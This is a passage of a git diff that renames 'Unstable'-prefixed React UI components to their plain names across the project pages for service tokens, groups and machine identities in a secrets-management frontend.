+                          <IconButton
                             variant="ghost"
                             size="xs"
                             onClick={(e) => e.stopPropagation()}
                           >
                             <MoreHorizontalIcon />
-                          </UnstableIconButton>
-                        </UnstableDropdownMenuTrigger>
-                        <UnstableDropdownMenuContent sideOffset={2} align="end">
+                          </IconButton>
+                        </DropdownMenuTrigger>
+                        <DropdownMenuContent sideOffset={2} align="end">
                           <ProjectPermissionCan
                             I={ProjectPermissionActions.Delete}
                             a={ProjectPermissionSub.ServiceTokens}
                           >
                             {(isAllowed) => (
-                              <UnstableDropdownMenuItem
+                              <DropdownMenuItem
                                 variant="danger"
                                 isDisabled={!isAllowed}
                                 onClick={(e) => {
@@ -273,18 +273,18 @@ export const ServiceTokenTable = ({ handlePopUpOpen }: Props) => {
                               >
                                 <TrashIcon />
                                 Delete Token
-                              </UnstableDropdownMenuItem>
+                              </DropdownMenuItem>
                             )}
                           </ProjectPermissionCan>
-                        </UnstableDropdownMenuContent>
-                      </UnstableDropdownMenu>
-                    </UnstableTableCell>
-                  </UnstableTableRow>
+                        </DropdownMenuContent>
+                      </DropdownMenu>
+                    </TableCell>
+                  </TableRow>
                 ))}
-            </UnstableTableBody>
-          </UnstableTable>
+            </TableBody>
+          </Table>
           {Boolean(filteredTokens.length) && (
-            <UnstablePagination
+            <Pagination
               count={filteredTokens.length}
               page={page}
               perPage={perPage}
diff --git a/frontend/src/pages/project/GroupDetailsByIDPage/GroupDetailsByIDPage.tsx b/frontend/src/pages/project/GroupDetailsByIDPage/GroupDetailsByIDPage.tsx
index eda3c29c4a9..06be2021d9d 100644
--- a/frontend/src/pages/project/GroupDetailsByIDPage/GroupDetailsByIDPage.tsx
+++ b/frontend/src/pages/project/GroupDetailsByIDPage/GroupDetailsByIDPage.tsx
@@ -8,10 +8,10 @@ import { ProjectPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal, EmptyState, PageHeader, Spinner } from "@app/components/v2";
 import {
   Button,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger
 } from "@app/components/v3";
 import {
   ProjectPermissionActions,
@@ -103,15 +103,15 @@ const Page = () => {
             title={groupMembership.group.name}
             description="Configure and manage project access control"
           >
-            <UnstableDropdownMenu>
-              <UnstableDropdownMenuTrigger asChild>
+            <DropdownMenu>
+              <DropdownMenuTrigger asChild>
                 <Button variant="outline">
                   Options
                   <EllipsisIcon />
                 </Button>
-              </UnstableDropdownMenuTrigger>
-              <UnstableDropdownMenuContent align="end">
-                <UnstableDropdownMenuItem
+              </DropdownMenuTrigger>
+              <DropdownMenuContent align="end">
+                <DropdownMenuItem
                   onClick={() => {
                     navigator.clipboard.writeText(groupMembership.group.id);
                     createNotification({
@@ -121,24 +121,24 @@ const Page = () => {
                   }}
                 >
                   Copy Group ID
-                </UnstableDropdownMenuItem>
+                </DropdownMenuItem>
 
                 <ProjectPermissionCan
                   I={ProjectPermissionActions.Delete}
                   a={ProjectPermissionSub.Groups}
                 >
                   {(isAllowed) => (
-                    <UnstableDropdownMenuItem
+                    <DropdownMenuItem
                       variant="danger"
                       isDisabled={!isAllowed}
                       onClick={() => handlePopUpOpen("deleteGroup")}
                     >
                       Remove From Project
-                    </UnstableDropdownMenuItem>
+                    </DropdownMenuItem>
                   )}
                 </ProjectPermissionCan>
-              </UnstableDropdownMenuContent>
-            </UnstableDropdownMenu>
+              </DropdownMenuContent>
+            </DropdownMenu>
           </PageHeader>
           <div className="flex flex-col gap-5 lg:flex-row">
             <GroupDetailsSection groupMembership={groupMembership} />
diff --git a/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupDetailsSection.tsx b/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupDetailsSection.tsx
index f235b5b022b..819a1b1b16b 100644
--- a/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupDetailsSection.tsx
+++ b/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupDetailsSection.tsx
@@ -4,16 +4,16 @@ import { CheckIcon, ClipboardListIcon } from "lucide-react";
 import { ProjectPermissionCan } from "@app/components/permissions";
 import { Tooltip } from "@app/components/v2";
 import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Detail,
   DetailGroup,
   DetailLabel,
   DetailValue,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableIconButton
+  IconButton
 } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub } from "@app/context";
 import { useTimedReset } from "@app/hooks";
@@ -33,12 +33,12 @@ export const GroupDetailsSection = ({ groupMembership }: Props) => {
   });
 
   return (
-    <UnstableCard className="w-full lg:max-w-[24rem]">
-      <UnstableCardHeader className="border-b">
-        <UnstableCardTitle>Details</UnstableCardTitle>
-        <UnstableCardDescription>Group details</UnstableCardDescription>
-      </UnstableCardHeader>
-      <UnstableCardContent>
+    <Card className="w-full lg:max-w-[24rem]">
+      <CardHeader className="border-b">
+        <CardTitle>Details</CardTitle>
+        <CardDescription>Group details</CardDescription>
+      </CardHeader>
+      <CardContent>
         <DetailGroup>
           <Detail>
             <DetailLabel>Name</DetailLabel>
@@ -49,7 +49,7 @@ export const GroupDetailsSection = ({ groupMembership }: Props) => {
             <DetailValue className="flex items-center gap-x-1">
               {group.id}
               <Tooltip content="Copy group ID to clipboard">
-                <UnstableIconButton
+                <IconButton
                   onClick={() => {
                     navigator.clipboard.writeText(group.id);
                     setCopyTextId("Copied");
@@ -59,7 +59,7 @@ export const GroupDetailsSection = ({ groupMembership }: Props) => {
                 >
                   {/* TODO(scott): color this should be a button variant and create re-usable copy button */}
                   {isCopyingId ? <CheckIcon /> : <ClipboardListIcon className="text-label" />}
-                </UnstableIconButton>
+                </IconButton>
               </Tooltip>
             </DetailValue>
           </Detail>
@@ -86,7 +86,7 @@ export const GroupDetailsSection = ({ groupMembership }: Props) => {
             <DetailValue>{format(groupMembership.createdAt, "PPpp")}</DetailValue>
           </Detail>
         </DetailGroup>
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersSection.tsx b/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersSection.tsx
index 5b0bb3a30ab..95221171fc3 100644
--- a/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersSection.tsx
+++ b/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersSection.tsx
@@ -1,10 +1,4 @@
-import {
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
-} from "@app/components/v3";
+import { Card, CardContent, CardDescription, CardHeader, CardTitle } from "@app/components/v3";
 import { TGroupMembership } from "@app/hooks/api/groups/types";
 
 import { GroupMembersTable } from "./GroupMembersTable";
@@ -15,14 +9,14 @@ type Props = {
 
 export const GroupMembersSection = ({ groupMembership }: Props) => {
   return (
-    <UnstableCard className="flex-1">
-      <UnstableCardHeader>
-        <UnstableCardTitle>Group Members</UnstableCardTitle>
-        <UnstableCardDescription>View members of this group</UnstableCardDescription>
-      </UnstableCardHeader>
-      <UnstableCardContent>
+    <Card className="flex-1">
+      <CardHeader>
+        <CardTitle>Group Members</CardTitle>
+        <CardDescription>View members of this group</CardDescription>
+      </CardHeader>
+      <CardContent>
         <GroupMembersTable groupMembership={groupMembership} />
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersTable.tsx b/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersTable.tsx
index 4743b42bc54..c7f8be1f715 100644
--- a/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersTable.tsx
+++ b/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersTable.tsx
@@ -6,23 +6,23 @@ import { twMerge } from "tailwind-merge";
 import { createNotification } from "@app/components/notifications";
 import { ConfirmActionModal, Lottie } from "@app/components/v2";
 import {
-  UnstableDropdownMenu,
-  UnstableDropdownMenuCheckboxItem,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuLabel,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableInput,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuLabel,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  Input,
+  Pagination,
+  Table,
+  TableBody,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { useOrganization, useProject } from "@app/context";
 import { getProjectHomePage } from "@app/helpers/project";
@@ -173,21 +173,21 @@ export const GroupMembersTable = ({ groupMembership }: Props) => {
     <>
       <div className="mb-5 flex gap-2.5">
         {/* TODO(scott): add input group with icon once component added */}
-        <UnstableInput
+        <Input
           value={search}
           onChange={(e) => setSearch(e.target.value)}
           placeholder="Search group members..."
         />
-        <UnstableDropdownMenu>
-          <UnstableDropdownMenuTrigger asChild>
-            <UnstableIconButton variant={memberTypeFilter.length ? "project" : "outline"}>
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <IconButton variant={memberTypeFilter.length ? "project" : "outline"}>
               <FilterIcon />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent align="end">
-            <UnstableDropdownMenuLabel>Filter by Member Type</UnstableDropdownMenuLabel>
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end">
+            <DropdownMenuLabel>Filter by Member Type</DropdownMenuLabel>
             {filterOptions.map((option) => (
-              <UnstableDropdownMenuCheckboxItem
+              <DropdownMenuCheckboxItem
                 key={option.value}
                 checked={memberTypeFilter.includes(option.value)}
                 onClick={(e) => {
@@ -202,17 +202,17 @@ export const GroupMembersTable = ({ groupMembership }: Props) => {
                 }}
               >
                 {option.label}
-              </UnstableDropdownMenuCheckboxItem>
+              </DropdownMenuCheckboxItem>
             ))}
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
+          </DropdownMenuContent>
+        </DropdownMenu>
       </div>
       {members.length > 0 ? (
-        <UnstableTable>
-          <UnstableTableHeader>
-            <UnstableTableRow>
-              <UnstableTableHead className="w-5" />
-              <UnstableTableHead className="w-1/2" onClick={toggleOrderDirection}>
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead className="w-5" />
+              <TableHead className="w-1/2" onClick={toggleOrderDirection}>
                 Name
                 <ChevronDownIcon
                   className={twMerge(
@@ -220,12 +220,12 @@ export const GroupMembersTable = ({ groupMembership }: Props) => {
                     "transition-transform"
                   )}
                 />
-              </UnstableTableHead>
-              <UnstableTableHead>Joined Group</UnstableTableHead>
-              <UnstableTableHead className="w-5" />
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
+              </TableHead>
+              <TableHead>Joined Group</TableHead>
+              <TableHead className="w-5" />
+            </TableRow>
+          </TableHeader>
+          <TableBody>
             {groupMemberships?.members?.map((userGroupMembership) => {
               return userGroupMembership.type === GroupMemberType.USER ? (
                 <GroupMembershipUserRow
@@ -251,26 +251,26 @@ export const GroupMembersTable = ({ groupMembership }: Props) => {
                 />
               );
             })}
-          </UnstableTableBody>
-        </UnstableTable>
+          </TableBody>
+        </Table>
       ) : (
-        <UnstableEmpty className="border">
-          <UnstableEmptyHeader>
-            <UnstableEmptyTitle>
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>
               {isFiltered
                 ? "No group members match this search"
                 : "This group doesn't have any members"}
-            </UnstableEmptyTitle>
-            <UnstableEmptyDescription>
+            </EmptyTitle>
+            <EmptyDescription>
               {isFiltered
                 ? "Adjust search filters to view group members."
                 : "Assign members from organization access control or contact an organization admin."}
-            </UnstableEmptyDescription>
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+            </EmptyDescription>
+          </EmptyHeader>
+        </Empty>
       )}
       {Boolean(totalCount) && (
-        <UnstablePagination
+        <Pagination
           count={totalCount}
           page={page}
           perPage={perPage}
diff --git a/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipIdentityRow.tsx b/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipIdentityRow.tsx
index 090a1f1df3e..6ad6cd4bd9a 100644
--- a/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipIdentityRow.tsx
+++ b/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipIdentityRow.tsx
@@ -2,13 +2,13 @@ import { EllipsisIcon, HardDriveIcon } from "lucide-react";
 
 import { ProjectPermissionCan } from "@app/components/permissions";
 import {
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton,
-  UnstableTableCell,
-  UnstableTableRow
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton,
+  TableCell,
+  TableRow
 } from "@app/components/v3";
 import { ProjectPermissionIdentityActions, ProjectPermissionSub } from "@app/context";
 import { TGroupMemberMachineIdentity } from "@app/hooks/api/groups/types";
@@ -27,38 +27,35 @@ export const GroupMembershipIdentityRow = ({
   onAssumePrivileges
 }: Props) => {
   return (
-    <UnstableTableRow>
-      <UnstableTableCell>
+    <TableRow>
+      <TableCell>
         <HardDriveIcon size={14} className="text-mineshaft-400" />
-      </UnstableTableCell>
-      <UnstableTableCell isTruncatable>{name}</UnstableTableCell>
-      <UnstableTableCell>{new Date(joinedGroupAt).toLocaleDateString()}</UnstableTableCell>
-      <UnstableTableCell>
-        <UnstableDropdownMenu>
-          <UnstableDropdownMenuTrigger asChild>
-            <UnstableIconButton variant="ghost" size="xs">
+      </TableCell>
+      <TableCell isTruncatable>{name}</TableCell>
+      <TableCell>{new Date(joinedGroupAt).toLocaleDateString()}</TableCell>
+      <TableCell>
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <IconButton variant="ghost" size="xs">
               <EllipsisIcon />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent align="end">
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end">
             <ProjectPermissionCan
               I={ProjectPermissionIdentityActions.AssumePrivileges}
               a={ProjectPermissionSub.Identity}
             >
               {(isAllowed) => {
                 return (
-                  <UnstableDropdownMenuItem
-                    onClick={() => onAssumePrivileges(id)}
-                    isDisabled={!isAllowed}
-                  >
+                  <DropdownMenuItem onClick={() => onAssumePrivileges(id)} isDisabled={!isAllowed}>
                     Assume Privileges
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 );
               }}
             </ProjectPermissionCan>
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
-      </UnstableTableCell>
-    </UnstableTableRow>
+          </DropdownMenuContent>
+        </DropdownMenu>
+      </TableCell>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipUserRow.tsx b/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipUserRow.tsx
index 64ac6a4efb2..a20b207063f 100644
--- a/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipUserRow.tsx
+++ b/frontend/src/pages/project/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipUserRow.tsx
@@ -2,13 +2,13 @@ import { EllipsisIcon, UserIcon } from "lucide-react";
 
 import { ProjectPermissionCan } from "@app/components/permissions";
 import {
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton,
-  UnstableTableCell,
-  UnstableTableRow
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton,
+  TableCell,
+  TableRow
 } from "@app/components/v3";
 import { ProjectPermissionMemberActions, ProjectPermissionSub } from "@app/context";
 import { TGroupMemberUser } from "@app/hooks/api/groups/types";
@@ -27,41 +27,38 @@ export const GroupMembershipUserRow = ({
   onAssumePrivileges
 }: Props) => {
   return (
-    <UnstableTableRow>
-      <UnstableTableCell>
+    <TableRow>
+      <TableCell>
         <UserIcon size={14} className="text-mineshaft-400" />
-      </UnstableTableCell>
-      <UnstableTableCell isTruncatable>
+      </TableCell>
+      <TableCell isTruncatable>
         {`${firstName ?? "-"} ${lastName ?? ""}`}{" "}
         <span className="text-mineshaft-400">({email})</span>
-      </UnstableTableCell>
-      <UnstableTableCell>{new Date(joinedGroupAt).toLocaleDateString()}</UnstableTableCell>
-      <UnstableTableCell>
-        <UnstableDropdownMenu>
-          <UnstableDropdownMenuTrigger asChild>
-            <UnstableIconButton size="xs" variant="ghost">
+      </TableCell>
+      <TableCell>{new Date(joinedGroupAt).toLocaleDateString()}</TableCell>
+      <TableCell>
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <IconButton size="xs" variant="ghost">
               <EllipsisIcon />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent align="end">
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end">
             <ProjectPermissionCan
               I={ProjectPermissionMemberActions.AssumePrivileges}
               a={ProjectPermissionSub.Member}
             >
               {(isAllowed) => {
                 return (
-                  <UnstableDropdownMenuItem
-                    onClick={() => onAssumePrivileges(id)}
-                    isDisabled={!isAllowed}
-                  >
+                  <DropdownMenuItem onClick={() => onAssumePrivileges(id)} isDisabled={!isAllowed}>
                     Assume Privileges
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 );
               }}
             </ProjectPermissionCan>
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
-      </UnstableTableCell>
-    </UnstableTableRow>
+          </DropdownMenuContent>
+        </DropdownMenu>
+      </TableCell>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/project/IdentityDetailsByIDPage/IdentityDetailsByIDPage.tsx b/frontend/src/pages/project/IdentityDetailsByIDPage/IdentityDetailsByIDPage.tsx
index f670e5a7e2e..86d3db80a81 100644
--- a/frontend/src/pages/project/IdentityDetailsByIDPage/IdentityDetailsByIDPage.tsx
+++ b/frontend/src/pages/project/IdentityDetailsByIDPage/IdentityDetailsByIDPage.tsx
@@ -15,22 +15,22 @@ import {
   Tooltip
 } from "@app/components/v2";
 import {
+  Alert,
+  AlertDescription,
+  AlertTitle,
   Button,
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
   OrgIcon,
-  SubOrgIcon,
-  UnstableAlert,
-  UnstableAlertDescription,
-  UnstableAlertTitle,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstablePageLoader
+  PageLoader,
+  SubOrgIcon
 } from "@app/components/v3";
 import {
   OrgPermissionIdentityActions,
@@ -162,7 +162,7 @@ const Page = () => {
   };
 
   if (isMembershipDetailsLoading || (isProjectIdentity && isProjectIdentityPending)) {
-    return <UnstablePageLoader />;
+    return <PageLoader />;
   }
 
   const isOrgIdentity = !isProjectIdentity;
@@ -194,15 +194,15 @@ const Page = () => {
             description={`Configure and manage${isProjectIdentity ? " machine identity and " : " "}project access control`}
             title={identityMembershipDetails.identity.name}
           >
-            <UnstableDropdownMenu>
-              <UnstableDropdownMenuTrigger asChild>
+            <DropdownMenu>
+              <DropdownMenuTrigger asChild>
                 <Button variant="outline">
                   Options
                   <EllipsisIcon />
                 </Button>
-              </UnstableDropdownMenuTrigger>
-              <UnstableDropdownMenuContent align="end">
-                <UnstableDropdownMenuItem
+              </DropdownMenuTrigger>
+              <DropdownMenuContent align="end">
+                <DropdownMenuItem
                   onClick={() => {
                     navigator.clipboard.writeText(identityMembershipDetails.identity.id);
                     createNotification({
@@ -212,7 +212,7 @@ const Page = () => {
                   }}
                 >
                   Copy Machine Identity ID
-                </UnstableDropdownMenuItem>
+                </DropdownMenuItem>
                 <ProjectPermissionCan
                   I={ProjectPermissionIdentityActions.AssumePrivileges}
                   a={subject(ProjectPermissionSub.Identity, {
@@ -220,7 +220,7 @@ const Page = () => {
                   })}
                 >
                   {(isAllowed) => (
-                    <UnstableDropdownMenuItem
+                    <DropdownMenuItem
                       isDisabled={!isAllowed}
                       onClick={() => handlePopUpOpen("assumePrivileges")}
                     >
@@ -233,7 +233,7 @@ const Page = () => {
                           <InfoIcon className="text-muted" />
                         </div>
                       </Tooltip>
-                    </UnstableDropdownMenuItem>
+                    </DropdownMenuItem>
                   )}
                 </ProjectPermissionCan>
                 <ProjectPermissionCan
@@ -243,7 +243,7 @@ const Page = () => {
                   })}
                 >
                   {(isAllowed) => (
-                    <UnstableDropdownMenuItem
+                    <DropdownMenuItem
                       variant="danger"
                       isDisabled={!isAllowed}
                       onClick={() =>
@@ -253,11 +253,11 @@ const Page = () => {
                       }
                     >
                       {isProjectIdentity ? "Delete Machine Identity" : "Remove From Project"}
-                    </UnstableDropdownMenuItem>
+                    </DropdownMenuItem>
                   )}
                 </ProjectPermissionCan>
-              </UnstableDropdownMenuContent>
-            </UnstableDropdownMenu>
+              </DropdownMenuContent>
+            </DropdownMenu>
           </PageHeader>
           <div className="flex flex-col gap-5 lg:flex-row">
             <ProjectIdentityDetailsSection
@@ -274,20 +274,18 @@ const Page = () => {
                   refetchIdentity={() => refetchIdentity()}
                 />
               ) : (
-                <UnstableCard>
-                  <UnstableCardHeader>
-                    <UnstableCardTitle>Authentication</UnstableCardTitle>
-                    <UnstableCardDescription>
-                      Configure authentication methods
-                    </UnstableCardDescription>
-                  </UnstableCardHeader>
-                  <UnstableCardContent>
-                    <UnstableAlert variant={isSubOrgIdentity ? "sub-org" : "org"}>
+                <Card>
+                  <CardHeader>
+                    <CardTitle>Authentication</CardTitle>
+                    <CardDescription>Configure authentication methods</CardDescription>
+                  </CardHeader>
+                  <CardContent>
+                    <Alert variant={isSubOrgIdentity ? "sub-org" : "org"}>
                       {isSubOrgIdentity ? <SubOrgIcon /> : <OrgIcon />}
-                      <UnstableAlertTitle>
+                      <AlertTitle>
                         Machine identity managed by {isSubOrgIdentity ? "sub-" : ""}organization
-                      </UnstableAlertTitle>
-                      <UnstableAlertDescription>
+                      </AlertTitle>
+                      <AlertDescription>
                         <p>
                           This machine identity&apos;s authentication methods are managed by your{" "}
                           {isSubOrgIdentity ? "sub-" : ""}organization
@@ -318,10 +316,10 @@ const Page = () => {
                           </OrgPermissionCan>
                           .
                         </p>
-                      </UnstableAlertDescription>
-                    </UnstableAlert>
-                  </UnstableCardContent>
-                </UnstableCard>
+                      </AlertDescription>
+                    </Alert>
+                  </CardContent>
+                </Card>
               )}
               <IdentityRoleDetailsSection
                 identityMembershipDetails={identityMembershipDetails}
diff --git a/frontend/src/pages/project/IdentityDetailsByIDPage/components/IdentityProjectAdditionalPrivilegeSection/IdentityProjectAdditionalPrivilegeModifySection.tsx b/frontend/src/pages/project/IdentityDetailsByIDPage/components/IdentityProjectAdditionalPrivilegeSection/IdentityProjectAdditionalPrivilegeModifySection.tsx
index ca59fb95ef6..ee3221695dc 100644
--- a/frontend/src/pages/project/IdentityDetailsByIDPage/components/IdentityProjectAdditionalPrivilegeSection/IdentityProjectAdditionalPrivilegeModifySection.tsx
+++ b/frontend/src/pages/project/IdentityDetailsByIDPage/components/IdentityProjectAdditionalPrivilegeSection/IdentityProjectAdditionalPrivilegeModifySection.tsx
@@ -10,21 +10,21 @@ import { z } from "zod";
 import { TtlFormLabel } from "@app/components/features";
 import { createNotification } from "@app/components/notifications";
 import {
+  Accordion,
   Badge,
   Button,
   Field,
   FieldError,
   FieldLabel,
+  Input,
   Popover,
   PopoverContent,
   PopoverTrigger,
+  Separator,
   SheetFooter,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableAccordion,
-  UnstableInput,
-  UnstableSeparator
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   ProjectPermissionIdentityActions,
@@ -271,7 +271,7 @@ export const IdentityProjectAdditionalPrivilegeModifySection = ({
                         <FieldLabel>
                           Privilege Name <span className="text-muted">(optional)</span>
                         </FieldLabel>
-                        <UnstableInput {...field} />
+                        <Input {...field} />
                       </Field>
                     )}
                   />
@@ -314,7 +314,7 @@ export const IdentityProjectAdditionalPrivilegeModifySection = ({
                                 <FieldLabel>
                                   <TtlFormLabel label="Validity" />
                                 </FieldLabel>
-                                <UnstableInput {...field} isError={Boolean(error?.message)} />
+                                <Input {...field} isError={Boolean(error?.message)} />
                                 {error?.message && <FieldError>{error.message}</FieldError>}
                               </Field>
                               <div className="flex items-center space-x-2">
@@ -375,7 +375,7 @@ export const IdentityProjectAdditionalPrivilegeModifySection = ({
                 </div>
               </div>
             </div>
-            <UnstableSeparator />
+            <Separator />
             <div>
               <div className="mb-3 flex w-full items-center justify-between">
                 <div className="text-lg">Policies</div>
@@ -428,7 +428,7 @@ export const IdentityProjectAdditionalPrivilegeModifySection = ({
               {(isCreate || !isPending) && !hasPermissions && <PermissionEmptyState />}
               {hasPermissions && (
                 <div className="thin-scrollbar overflow-y-auto">
-                  <UnstableAccordion
+                  <Accordion
                     type="multiple"
                     value={openPolicies}
                     onValueChange={setOpenPolicies}
@@ -453,7 +453,7 @@ export const IdentityProjectAdditionalPrivilegeModifySection = ({
                         </GeneralPermissionPolicies>
                       );
                     })}
-                  </UnstableAccordion>
+                  </Accordion>
                 </div>
               )}
             </div>
diff --git a/frontend/src/pages/project/IdentityDetailsByIDPage/components/IdentityProjectAdditionalPrivilegeSection/IdentityProjectAdditionalPrivilegeSection.tsx b/frontend/src/pages/project/IdentityDetailsByIDPage/components/IdentityProjectAdditionalPrivilegeSection/IdentityProjectAdditionalPrivilegeSection.tsx
index d2195cb270d..c6149b455da 100644
--- a/frontend/src/pages/project/IdentityDetailsByIDPage/components/IdentityProjectAdditionalPrivilegeSection/IdentityProjectAdditionalPrivilegeSection.tsx
+++ b/frontend/src/pages/project/IdentityDetailsByIDPage/components/IdentityProjectAdditionalPrivilegeSection/IdentityProjectAdditionalPrivilegeSection.tsx
@@ -9,37 +9,37 @@ import { DeleteActionModal, Lottie } from "@app/components/v2";
 import {
   Badge,
   Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   DocumentationLinkBadge,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
   Sheet,
   SheetContent,
   SheetDescription,
   SheetHeader,
   SheetTitle,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyContent,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   ProjectPermissionActions,
@@ -111,17 +111,15 @@ export const IdentityProjectAdditionalPrivilegeSection = ({ identityMembershipDe
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>
+      <Card>
+        <CardHeader>
+          <CardTitle>
             Project Additional Privileges
             <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/access-controls/additional-privileges#api" />
-          </UnstableCardTitle>
-          <UnstableCardDescription>
-            Assign one-off policies to this machine identity
-          </UnstableCardDescription>
+          </CardTitle>
+          <CardDescription>Assign one-off policies to this machine identity</CardDescription>
           {hasAdditionalPrivileges && (
-            <UnstableCardAction>
+            <CardAction>
               <ProjectPermissionCan
                 I={ProjectPermissionActions.Edit}
                 a={subject(ProjectPermissionSub.Identity, {
@@ -157,10 +155,10 @@ export const IdentityProjectAdditionalPrivilegeSection = ({ identityMembershipDe
                   );
                 }}
               </ProjectPermissionCan>
-            </UnstableCardAction>
+            </CardAction>
           )}
-        </UnstableCardHeader>
-        <UnstableCardContent>
+        </CardHeader>
+        <CardContent>
           {/* eslint-disable-next-line no-nested-ternary */}
           {isPending ? (
             // scott: todo proper loader
@@ -168,15 +166,15 @@ export const IdentityProjectAdditionalPrivilegeSection = ({ identityMembershipDe
